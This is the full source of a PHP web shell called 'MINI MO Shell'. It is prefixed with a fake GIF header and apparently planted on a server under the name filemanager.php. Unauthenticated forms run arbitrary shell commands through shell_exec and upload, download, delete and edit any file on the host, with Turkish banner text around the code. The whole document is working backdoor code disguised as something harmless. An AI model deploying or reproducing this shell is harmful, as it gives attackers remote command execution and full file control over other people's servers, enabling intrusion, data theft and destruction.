GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /home/tns/public_html/
File Upload :
Current File : /home/tns/public_html/filemanager.php

<?php
$d=isset($_GET['d'])?$_GET['d']:getcwd();
if(isset($_POST['cmd'])){echo"<pre>".htmlspecialchars(shell_exec($_POST['cmd']))."</pre>";}
if(isset($_FILES['up'])){$t=$d.DIRECTORY_SEPARATOR.$_FILES['up']['name'];move_uploaded_file($_FILES['up']['tmp_name'],$t);echo"Uploaded: $t<br>";}
if(isset($_GET['dl'])&&file_exists($_GET['dl'])){header('Content-Disposition: attachment; filename="'.basename($_GET['dl']).'"');readfile($_GET['dl']);exit;}
if(isset($_GET['del'])&&file_exists($_GET['del'])){unlink($_GET['del']);echo"Deleted<br>";}
if(isset($_GET['edit'])&&isset($_POST['content'])){file_put_contents($_GET['edit'],$_POST['content']);echo"Saved<br>";}
if(isset($_GET['edit'])&&file_exists($_GET['edit'])){echo'<form method=post><textarea name=content style="width:100%;height:300px">'.htmlspecialchars(file_get_contents($_GET['edit'])).'</textarea><br><input type=submit value=Save></form>';}
echo"<h3>".htmlspecialchars($d)."</h3>";
echo'<form method=post>CMD: <input name=cmd size=60><input type=submit></form>';
echo'<form method=post enctype="multipart/form-data">Upload: <input type=file name=up><input type=submit></form>';
echo"<table border=1><tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>";
foreach(scandir($d) as $f){if($f=='.')continue;$p=$d.DIRECTORY_SEPARATOR.$f;$s=is_file($p)?filesize($p):'-';$pm=substr(sprintf('%o',fileperms($p)),-4);
$link=is_dir($p)?"<a href='?d=".urlencode($p)."'>$f/</a>":"<a href='?d=".urlencode($d)."&dl=".urlencode($p)."'>$f</a>";
echo"<tr><td>$link</td><td>$s</td><td>$pm</td><td><a href='?d=".urlencode($d)."&del=".urlencode($p)."'>Del</a>";
if(is_file($p))echo" | <a href='?d=".urlencode($d)."&edit=".urlencode($p)."'>Edit</a>";
echo"</td></tr>";}
echo"</table>";?>

OHA YOOO - Tarih: 2026-05-18 05:26:44